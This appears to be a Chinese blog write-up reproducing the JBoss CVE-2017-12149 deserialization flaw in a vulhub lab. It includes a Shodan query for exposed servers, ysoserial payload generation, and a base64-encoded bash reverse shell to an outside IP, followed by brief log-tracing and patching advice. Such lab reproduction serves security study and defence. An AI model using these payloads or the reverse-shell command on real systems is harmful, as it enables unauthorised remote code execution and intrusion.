CVE-2017-12149 JBoss readonly Java 反序列化漏洞复现

CVE-2017-12149 JBoss readonly Java 反序列化漏洞复现

漏洞简述

Red Hat JBoss Enterprise Application Platform(EAP)是美国红帽(Red Hat)公司的一套开源、基于J2EE的中间件平台。该平台主要用于构建、部署和托管Java应用程序与服务。
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

漏洞影响版本

JBoss 5.x/6.x

Shodan 搜索语法

http.favicon.hash:-656811182

漏洞exp

https://github.com/yunxu1/jboss-_CVE-2017-12149

漏洞环境搭建

使用vulhub进行复现,初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

漏洞复现

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化。

生成序列化数据

使用ysoserial来复现生成序列化数据。有两种安装的方法:

直接下载 ysoserial jar包

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

GitHub下载源码,maven编译生成jar包

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
yum install -y maven
mvn clean package -DskipTests

会在target目录下生成ysoserial-0.0.6-SNAPSHOT-all.jar

我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行bash64编码。

// bash -i >& /dev/tcp/43.132.152.185/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzIuMTUyLjE4NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

再使用生成payload。

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzIuMTUyLjE4NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" >poc.ser

然后将文件内容作为post body 发包。可以直接使用上面提供的exp执行命令。

溯源排查

日志位置:/jboss-6.1.0.Final/server/default/log/server.log

排查关键词:/invoker

这里使用docker logs进行排查。

报错日志中回显了命令执行的内容,但无法溯源攻击者的ip。

修复方式

升级到最新版本。

Print Friendly, PDF & Email
赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。